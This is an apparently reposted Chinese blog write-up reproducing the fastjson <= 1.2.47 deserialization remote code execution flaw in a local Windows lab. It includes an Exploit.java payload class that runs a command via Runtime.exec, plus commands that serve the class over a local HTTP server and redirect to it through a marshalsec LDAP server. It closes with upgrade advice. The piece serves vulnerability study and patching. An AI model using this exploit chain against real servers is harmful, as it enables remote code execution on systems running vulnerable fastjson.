fastjson =< 1.2.47 反序列化漏洞复现

fastjson =< 1.2.47 反序列化漏洞复现

HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)

复现详情

环境

  • win10
  • fastjson 1.2.47
  • jdk 1.8.1
  • marshalsec

环境过程

首先先创建maven项目,下载fastjson版本为1.2.47


        
            com.alibaba
            fastjson
            1.2.47
        

创建一个Exploit.java文件,Java 编译一下生成 Exploit.class 文件

exploit.java内容

public class Exploit {

        static {
                System.err.println("Pwned");
                try {
                        String[] cmd = {"calc"};
                        java.lang.Runtime.getRuntime().exec(cmd).waitFor();
                } catch ( Exception e ) {
                        e.printStackTrace();
                }
        }
}

然后启动http服务,这边利用python的SimpleHTTPServer来启动。

python2 -m SimpleHTTPServer

fastjson =< 1.2.47 反序列化漏洞复现_第1张图片

再利用marshalsec转发,创建一个ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"

983170-20190830111111159-1597654907.png

最后编写了一个测试用例

fastjson =< 1.2.47 反序列化漏洞复现_第2张图片

运行即可触发漏洞。

fastjson =< 1.2.47 反序列化漏洞复现_第3张图片

983170-20190830111155598-1805794626.png

修复意见

尽快将fastjson升级至1.2.48及以上的版本。

转载于:https://www.cnblogs.com/zhengjim/p/11433926.html

你可能感兴趣的:(fastjson =< 1.2.47 反序列化漏洞复现)